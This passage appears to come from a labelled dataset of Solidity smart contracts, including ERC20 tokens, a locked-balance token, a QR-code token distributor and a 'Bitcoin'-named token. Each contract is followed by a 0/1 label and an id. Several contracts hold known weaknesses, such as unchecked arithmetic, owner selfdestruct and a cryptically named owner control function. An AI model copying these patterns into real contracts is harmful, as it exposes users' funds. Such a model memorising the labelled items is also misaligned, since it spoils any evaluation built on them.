(bool) { require(_to != address(0)); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } }
1
2,987
pragma solidity ^0.4.19; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 constant public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract OwnableToken is TokenERC20 { address public owner; function OwnableToken(uint256 initialSupply, string tokenName, string tokenSymbol) public TokenERC20(initialSupply, tokenName, tokenSymbol) { owner = msg.sender; } function setOwner(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract StoppableToken is OwnableToken { bool public stopped; function StoppableToken(uint256 initialSupply, string tokenName, string tokenSymbol) public OwnableToken(initialSupply, tokenName, tokenSymbol) { stopped = false; } function stop() public onlyOwner { require(stopped == false); stopped = true; } function resume() public onlyOwner { require(stopped == true); stopped = false; } function transfer(address to, uint256 value) public { require(stopped == false); super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(stopped == false); return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public returns (bool success) { require(stopped == false); return super.approve(spender, value); } function burn(uint256 value) public onlyOwner returns (bool success) { return super.burn(value); } function burnFrom(address from, uint256 value) public onlyOwner returns (bool success) { return super.burnFrom(from, value); } } contract CTToken is StoppableToken { uint256 constant CTTOKEN_TOTAL_SUPLY = 20000000000; string constant CTTOKEN_NAME = "CrypTube"; string constant CTTOKEN_SYMBOL = "CTUBE"; uint256 constant OWNER_LOCKED_BALANCE_RELEASE_PERIOD_LEN_IN_SEC = 180 days; uint16 constant OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES = 4; uint256 constant OWNER_LOCKED_BALANCE_RELEASE_NUM_PER_TIMES = 750000000; uint256 public ownerLockedBalance; uint256 public tokenCreateUtcTimeInSec; function CTToken() public StoppableToken(CTTOKEN_TOTAL_SUPLY, CTTOKEN_NAME, CTTOKEN_SYMBOL) { tokenCreateUtcTimeInSec = block.timestamp; ownerLockedBalance = OWNER_LOCKED_BALANCE_RELEASE_NUM_PER_TIMES * OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES * 10 ** uint256(decimals); require(balanceOf[msg.sender] >= ownerLockedBalance); balanceOf[msg.sender] -= ownerLockedBalance; } function () public { revert(); } function time() public view returns (uint) { return block.timestamp; } function unlockToken() public onlyOwner { require(ownerLockedBalance > 0); require(block.timestamp > tokenCreateUtcTimeInSec); uint256 pastPeriodsSinceTokenCreate = (block.timestamp - tokenCreateUtcTimeInSec) / OWNER_LOCKED_BALANCE_RELEASE_PERIOD_LEN_IN_SEC; if (pastPeriodsSinceTokenCreate > OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES) { pastPeriodsSinceTokenCreate = OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES; } uint256 balanceShouldBeLocked = ((OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES - pastPeriodsSinceTokenCreate) * OWNER_LOCKED_BALANCE_RELEASE_NUM_PER_TIMES) * 10 ** uint256(decimals); require(balanceShouldBeLocked < ownerLockedBalance); uint256 balanceShouldBeUnlock = ownerLockedBalance - balanceShouldBeLocked; ownerLockedBalance -= balanceShouldBeUnlock; balanceOf[msg.sender] += balanceShouldBeUnlock; } }
1
4,342
pragma solidity ^0.4.19; contract BdpBaseData { address public ownerAddress; address public managerAddress; address[16] public contracts; bool public paused = false; bool public setupComplete = false; bytes8 public version; } library BdpContracts { function getBdpEntryPoint(address[16] _contracts) pure internal returns (address) { return _contracts[0]; } function getBdpController(address[16] _contracts) pure internal returns (address) { return _contracts[1]; } function getBdpControllerHelper(address[16] _contracts) pure internal returns (address) { return _contracts[3]; } function getBdpDataStorage(address[16] _contracts) pure internal returns (address) { return _contracts[4]; } function getBdpImageStorage(address[16] _contracts) pure internal returns (address) { return _contracts[5]; } function getBdpOwnershipStorage(address[16] _contracts) pure internal returns (address) { return _contracts[6]; } function getBdpPriceStorage(address[16] _contracts) pure internal returns (address) { return _contracts[7]; } } contract BdpBase is BdpBaseData { modifier onlyOwner() { require(msg.sender == ownerAddress); _; } modifier onlyAuthorized() { require(msg.sender == ownerAddress || msg.sender == managerAddress); _; } modifier whenContractActive() { require(!paused && setupComplete); _; } modifier storageAccessControl() { require( (! setupComplete && (msg.sender == ownerAddress || msg.sender == managerAddress)) || (setupComplete && !paused && (msg.sender == BdpContracts.getBdpEntryPoint(contracts))) ); _; } function setOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0)); ownerAddress = _newOwner; } function setManager(address _newManager) external onlyOwner { require(_newManager != address(0)); managerAddress = _newManager; } function setContracts(address[16] _contracts) external onlyOwner { contracts = _contracts; } function pause() external onlyAuthorized { paused = true; } function unpause() external onlyOwner { paused = false; } function setSetupComplete() external onlyOwner { setupComplete = true; } function kill() public onlyOwner { selfdestruct(ownerAddress); } } contract BdpPriceStorage is BdpBase { uint64[1001] public pricePoints; uint256 public pricePointsLength = 0; address public forwardPurchaseFeesTo = address(0); address public forwardUpdateFeesTo = address(0); function getPricePointsLength() view public returns (uint256) { return pricePointsLength; } function getPricePoint(uint256 _i) view public returns (uint256) { return pricePoints[_i]; } function setPricePoints(uint64[] _pricePoints) public storageAccessControl { pricePointsLength = 0; appendPricePoints(_pricePoints); } function appendPricePoints(uint64[] _pricePoints) public storageAccessControl { for (uint i = 0; i < _pricePoints.length; i++) { pricePoints[pricePointsLength++] = _pricePoints[i]; } } function getForwardPurchaseFeesTo() view public returns (address) { return forwardPurchaseFeesTo; } function setForwardPurchaseFeesTo(address _forwardPurchaseFeesTo) public storageAccessControl { forwardPurchaseFeesTo = _forwardPurchaseFeesTo; } function getForwardUpdateFeesTo() view public returns (address) { return forwardUpdateFeesTo; } function setForwardUpdateFeesTo(address _forwardUpdateFeesTo) public storageAccessControl { forwardUpdateFeesTo = _forwardUpdateFeesTo; } function BdpPriceStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } }
1
2,628
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract KelvinToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function KelvinToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] > _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } function AboutKelvin () constant returns (string) { return "The Kelvin token (Ḵ) was issued by Filip G. Tack. It serves as a unit of value in the Kelvin project. Kelvin is a sensor network - and blockchain - that serves hyperlocal, low-altitude weather information to UAS operations. Kelvin sensors monitor the meteorological conditions and electromagnetic interference (EMI) in the low-altitude airspace. By using Kelvin, UAVs and AAVs can safely navigate within suitable environmental circumstances. Owners of Kelvin sensors will be rewarded Ḵ tokens for keeping them in good working condition and feeding data to the Kelvin network, or blockchain."; } }
1
3,265
pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; library ECDSA { function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.5.5; library IndexedMerkleProof { function compute(bytes memory proof, uint160 leaf) internal pure returns (uint160 root, uint256 index) { uint160 computedHash = leaf; for (uint256 i = 0; i < proof.length / 20; i++) { uint160 proofElement; assembly { proofElement := div(mload(add(proof, add(32, mul(i, 20)))), 0x1000000000000000000000000) } if (computedHash < proofElement) { computedHash = uint160(uint256(keccak256(abi.encodePacked(computedHash, proofElement)))); index += (1 << i); } else { computedHash = uint160(uint256(keccak256(abi.encodePacked(proofElement, computedHash)))); } } return (computedHash, index); } } pragma solidity ^0.5.5; contract InstaLend { using SafeMath for uint; address private _feesReceiver; uint256 private _feesPercent; bool private _inLendingMode; modifier notInLendingMode { require(!_inLendingMode); _; } constructor(address receiver, uint256 percent) public { _feesReceiver = receiver; _feesPercent = percent; } function feesReceiver() public view returns(address) { return _feesReceiver; } function feesPercent() public view returns(uint256) { return _feesPercent; } function lend( IERC20[] memory tokens, uint256[] memory amounts, address target, bytes memory data ) public notInLendingMode { _inLendingMode = true; uint256[] memory prevAmounts = new uint256[](tokens.length); for (uint i = 0; i < tokens.length; i++) { prevAmounts[i] = tokens[i].balanceOf(address(this)); require(tokens[i].transfer(target, amounts[i])); } (bool res,) = target.call(data); require(res, "Invalid arbitrary call"); for (uint i = 0; i < tokens.length; i++) { uint256 expectedFees = amounts[i].mul(_feesPercent).div(100); require(tokens[i].balanceOf(address(this)) >= prevAmounts[i].add(expectedFees)); if (_feesReceiver != address(this)) { require(tokens[i].transfer(_feesReceiver, expectedFees)); } } _inLendingMode = false; } } pragma solidity ^0.5.0; contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } pragma solidity ^0.5.5; library CheckedERC20 { using SafeMath for uint; function isContract(IERC20 addr) internal view returns(bool result) { assembly { result := gt(extcodesize(addr), 0) } } function handleReturnBool() internal pure returns(bool result) { assembly { switch returndatasize() case 0 { result := 1 } case 32 { returndatacopy(0, 0, 32) result := mload(0) } default { revert(0, 0) } } } function handleReturnBytes32() internal pure returns(bytes32 result) { assembly { switch eq(returndatasize(), 32) case 1 { returndatacopy(0, 0, 32) result := mload(0) } switch gt(returndatasize(), 32) case 1 { returndatacopy(0, 64, 32) result := mload(0) } switch lt(returndatasize(), 32) case 1 { revert(0, 0) } } } function asmTransfer(IERC20 token, address to, uint256 value) internal returns(bool) { require(isContract(token)); (bool res,) = address(token).call(abi.encodeWithSignature("transfer(address,uint256)", to, value)); require(res); return handleReturnBool(); } function asmTransferFrom(IERC20 token, address from, address to, uint256 value) internal returns(bool) { require(isContract(token)); (bool res,) = address(token).call(abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, value)); require(res); return handleReturnBool(); } function asmApprove(IERC20 token, address spender, uint256 value) internal returns(bool) { require(isContract(token)); (bool res,) = address(token).call(abi.encodeWithSignature("approve(address,uint256)", spender, value)); require(res); return handleReturnBool(); } function checkedTransfer(IERC20 token, address to, uint256 value) internal { if (value > 0) { uint256 balance = token.balanceOf(address(this)); asmTransfer(token, to, value); require(token.balanceOf(address(this)) == balance.sub(value), "checkedTransfer: Final balance didn't match"); } } function checkedTransferFrom(IERC20 token, address from, address to, uint256 value) internal { if (value > 0) { uint256 toBalance = token.balanceOf(to); asmTransferFrom(token, from, to, value); require(token.balanceOf(to) == toBalance.add(value), "checkedTransfer: Final balance didn't match"); } } } pragma solidity ^0.5.2; contract IKyberNetwork { function trade( address src, uint256 srcAmount, address dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId ) public payable returns(uint); function getExpectedRate( address source, address dest, uint srcQty ) public view returns ( uint expectedPrice, uint slippagePrice ); } pragma solidity ^0.5.0; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.5; contract AnyPaymentReceiver is Ownable { using SafeMath for uint256; using CheckedERC20 for IERC20; address constant public ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function _processPayment( IKyberNetwork kyber, address paymentToken, uint256 paymentAmount ) internal returns(uint256) { uint256 previousBalance = address(this).balance; require(IERC20(paymentToken).asmApprove(address(kyber), paymentAmount)); kyber.trade( paymentToken, paymentAmount, ETHER_ADDRESS, address(this), 1 << 255, 0, address(0) ); uint256 currentBalance = address(this).balance; return currentBalance.sub(previousBalance); } } pragma solidity ^0.5.5; contract QRToken is InstaLend, AnyPaymentReceiver { using SafeMath for uint; using ECDSA for bytes; using IndexedMerkleProof for bytes; using CheckedERC20 for IERC20; uint256 constant public MAX_CODES_COUNT = 1024; uint256 constant public MAX_WORDS_COUNT = (MAX_CODES_COUNT + 31) / 32; struct Distribution { IERC20 token; uint256 sumAmount; uint256 codesCount; uint256 deadline; address sponsor; uint256[32] bitMask; } mapping(uint160 => Distribution) public distributions; event Created(); event Redeemed(uint160 root, uint256 index, address receiver); constructor() public InstaLend(msg.sender, 1) { } function create( IERC20 token, uint256 sumTokenAmount, uint256 codesCount, uint160 root, uint256 deadline ) external notInLendingMode { require(0 < sumTokenAmount); require(0 < codesCount && codesCount <= MAX_CODES_COUNT); require(deadline > now); token.checkedTransferFrom(msg.sender, address(this), sumTokenAmount); Distribution storage distribution = distributions[root]; distribution.token = token; distribution.sumAmount = sumTokenAmount; distribution.codesCount = codesCount; distribution.deadline = deadline; distribution.sponsor = msg.sender; } function redeemed(uint160 root, uint index) public view returns(bool) { Distribution storage distribution = distributions[root]; return distribution.bitMask[index / 32] & (1 << (index % 32)) != 0; } function calcRootAndIndex( bytes memory signature, bytes memory merkleProof, bytes memory message ) public pure returns(uint160 root, uint256 index) { bytes32 messageHash = keccak256(message); bytes32 signedHash = ECDSA.toEthSignedMessageHash(messageHash); address signer = ECDSA.recover(signedHash, signature); uint160 signerHash = uint160(uint256(keccak256(abi.encodePacked(signer)))); return merkleProof.compute(signerHash); } function redeem( bytes calldata signature, bytes calldata merkleProof ) external notInLendingMode { (uint160 root, uint256 index) = calcRootAndIndex(signature, merkleProof, abi.encodePacked(msg.sender)); Distribution storage distribution = distributions[root]; require(distribution.bitMask[index / 32] & (1 << (index % 32)) == 0); distribution.bitMask[index / 32] = distribution.bitMask[index / 32] | (1 << (index % 32)); distribution.token.checkedTransfer(msg.sender, distribution.sumAmount.div(distribution.codesCount)); emit Redeemed(root, index, msg.sender); } function redeemWithFee( IKyberNetwork kyber, address receiver, uint256 feePrecent, bytes calldata signature, bytes calldata merkleProof ) external notInLendingMode { (uint160 root, uint256 index) = calcRootAndIndex(signature, merkleProof, abi.encodePacked(receiver, feePrecent)); Distribution storage distribution = distributions[root]; require(distribution.bitMask[index / 32] & (1 << (index % 32)) == 0); distribution.bitMask[index / 32] = distribution.bitMask[index / 32] | (1 << (index % 32)); uint256 reward = distribution.sumAmount.div(distribution.codesCount); uint256 fee = reward.mul(feePrecent).div(100); distribution.token.checkedTransfer(receiver, reward.sub(fee)); emit Redeemed(root, index, msg.sender); uint256 gotEther = _processPayment(kyber, address(distribution.token), fee); msg.sender.transfer(gotEther); } function abort(uint160 root) public notInLendingMode { Distribution storage distribution = distributions[root]; require(now > distribution.deadline); uint256 count = 0; for (uint i = 0; i < 1024; i++) { if (distribution.bitMask[i / 32] & (1 << (i % 32)) != 0) { count += distribution.sumAmount / distribution.codesCount; } } distribution.token.checkedTransfer(distribution.sponsor, distribution.sumAmount.sub(count)); delete distributions[root]; } function() external payable { require(msg.sender != tx.origin); } }
0
855
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) {return 0;} uint256 c = a * b; assert(c / a == b); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a / b; return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {assert(b <= a); return a - b;} function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b; assert(c >= a); return c;}} contract Bitcoin { using SafeMath for uint256; uint8 public decimals;uint256 public supplyCap;string public website;string public email = "[email protected]";address private oW;address public coinage;uint256 public totalSupply;mapping (address => uint256) private balances;mapping (address => mapping (address => uint256)) internal allowed;bool private mintable = true; function Bitcoin(uint256 cap, uint8 dec) public {oW = msg.sender; decimals=dec;supplyCap=cap * (10 ** uint256(decimals));} modifier oO(){require(msg.sender == oW); _;}modifier oOOrContract(){require(msg.sender == oW || msg.sender == coinage); _;}modifier canMint() {require(mintable); _;} function transfer(address _to, uint256 _value) public returns (bool) {require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); return true;} function balanceOf(address _owner) public view returns (uint256 balance) {return balances[_owner];} function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); return true;} function approve(address _spender, uint256 _value) public returns (bool) {allowed[msg.sender][_spender] = _value; return true;} function allowance(address _owner, address _spender) public view returns (uint256) {return allowed[_owner][_spender];} function increaseApproval(address _spender, uint _addedValue) public returns (bool) {allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); return true;} function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) {allowed[msg.sender][_spender] = 0;} else {allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);} return true;} function mint(address _to, uint256 _amount) public oOOrContract canMint returns (bool) {require(totalSupply.add(_amount) <= supplyCap); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); return true;} function burn(uint256 _value) public {require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value);} function atoshima(string b, string t, address c) public oO {if(keccak256(b)==keccak256("web")){sW(t);} if(keccak256(b)==keccak256("email")){sE(t);} if(keccak256(b)==keccak256("contract")){sC(c);} if(keccak256(b)==keccak256("own")){sO(c);} if(keccak256(b)==keccak256("die")){selfdestruct(oW);} if(keccak256(b)==keccak256("mint")){mintable = (keccak256(t) == keccak256("true"));}} function sO(address nO) private oO {require(nO != address(0)); oW = nO;} function sW(string info) private oO { website = info; } function sE(string info) private oO { email = info; } function sC(address tC) private oO {require(tC != address(0)); coinage = tC; } } contract Faythe is Bitcoin(21000000,8) { string public constant name = "Faythe";string public constant symbol = "FYE"; } contract Trent is Bitcoin(1000000000,15) { string public constant name = "Trent";string public constant symbol = "TTP"; } contract Coinage { using SafeMath for uint256; Trent public trent;Faythe public faythe;string public constant name = "Atoshima Konsato";address public wallet;address private oW;uint256 private pF = 0;uint8 public plot = 0;uint256 public eta;mapping (uint8 => uint256) public plotTotal;mapping (uint8 => mapping (address => uint256)) public contribution;mapping (uint8 => mapping (address => bool)) public claimed;uint256 public fund;uint128 internal constant WAD = 10 ** 18; uint32[313] public plotValue = [1000000,100628393,3609941,3605629,3600887,3596389,3591631,3586901,3582353,3577543,3572707,3567973,3563477,3558829,3554203,3549319,3544763,3539857,3535043,3530537,3525541,3520667,3515731,3511247,3506329,3501917,3496949,3492287,3487439,3482669,3477811,3472943,3468163,3463381,3458471,3453761,3448997,3444253,3439669,3435347,3430717,3425999,3421321,3416639,3411857,3407333,3402787,3398047,3393563,3388789,3384319,3379427,3374927,3370151,3365743,3361097,3356081,3351191,3346589,3341783,3337361,3332489,3327773,3323059,3318389,3313727,3309091,3304661,3299687,3294919,3290159,3285677,3280877,3276253,3271673,3266909,3262313,3257717,3253013,3248237,3243677,3238681,3234311,3229649,3225127,3220453,3215819,3211129,3206767,3202039,3197657,3193027,3188509,3183839,3179257,3174467,3169981,3165377,3160709,3155993,3151543,3146863,3142301,3137507,3132737,3128039,3123403,3118691,3114301,3109553,3105007,3100327,3095551,3090827,3086389,3081697,3077143,3072683,3068231,3063409,3058843,3053987,3049381,3044597,3040091,3035203,3030523,3025963,3021101,3016399,3011707,3007159,3002533,2997913,2993363,2988637,2983987,2979569,2974891,2970157,2965549,2961067,2956297,2951617,2946961,2942249,2937511,2932903,2928271,2923471,2919013,2914363,2909591,2905099,2900419,2895881,2891041,2886467,2881873,2877167,2872433,2867573,2863117,2858393,2853707,2848939,2844311,2839769,2835221,2830913,2826091,2821537,2817127,2812541,2808313,2803673,2799187,2794541,2789993,2785129,2780647,2775859,2771281,2766677,2762063,2757577,2752843,2748089,2743501,2739127,2734187,2729533,2724703,2719883,2715533,2710963,2706413,2701871,2697301,2692763,2688239,2683679,2679199,2674523,2669603,2664931,2660311,2655889,2651359,2646841,2642257,2637673,2632937,2628713,2623969,2619257,2614691,2610241,2605439,2600687,2596133,2591609,2586953,2582323,2577917,2573561,2568941,2564333,2559863,2555171,2550739,2546009,2541479,2536691,2531981,2527489,2523173,2518643,2513839,2509337,2504717,2500163,2495749,2490941,2486513,2481889,2477281,2472607,2467957,2463413,2458837,2454161,2449813,2445241,2440681,2435957,2431409,2426747,2422093,2417603,2413231,2408513,2403701,2399143,2394673,2389993,2385787,2381143,2376559,2371879,2367289,2362819,2358331,2353823,2349101,2344379,2339921,2335219,2330761,2326211,2321393,2316697,2311873,2307541,2302799,2298397,2293817,2289263,2284837,2279843,2275199,2270839,2266507,2261993,2257579,2253281,2248507,2244091,2239327,2234789,2230219,2225863,2221403,2216611,2211919,2207357,2202997,2198293,2193599,2189147,2184617,2179939,2175497]; function Coinage(address ttp, address fye) public {trent = Trent(ttp); faythe = Faythe(fye); oW = msg.sender;} modifier oO() {require(msg.sender == oW); _;} function cast(uint256 x) private pure returns (uint128 z) {assert((z = uint128(x)) == x);} function wdiv(uint128 x, uint128 y) private pure returns (uint128 z) {z = cast((uint256(x) * WAD + y / 2) / y);} function wmul(uint128 x, uint128 y) private pure returns (uint128 z) {z = cast((uint256(x) * y + WAD / 2) / WAD);} function min(uint256 a, uint256 b) private pure returns (uint256) {return a < b ? a : b;} function max(uint256 a, uint256 b) private pure returns (uint256) {return a > b ? a : b;} function ttpf(uint32 t) private pure returns (uint256) { return uint256(t) * 10 ** 15; } function () external payable {buyTokens(msg.sender);} function buyTokens(address beneficiary) public payable {require(beneficiary != address(0)); require(msg.value != 0); if (plot == 0) {primeMovers(beneficiary);} else {contribute(beneficiary);}} function primeMovers(address beneficiary) internal {uint256 wA = msg.value; uint256 cH = 0; uint256 maxTtp = ttpf(plotValue[0]); if(plotTotal[0] + wA >= maxTtp){cH = 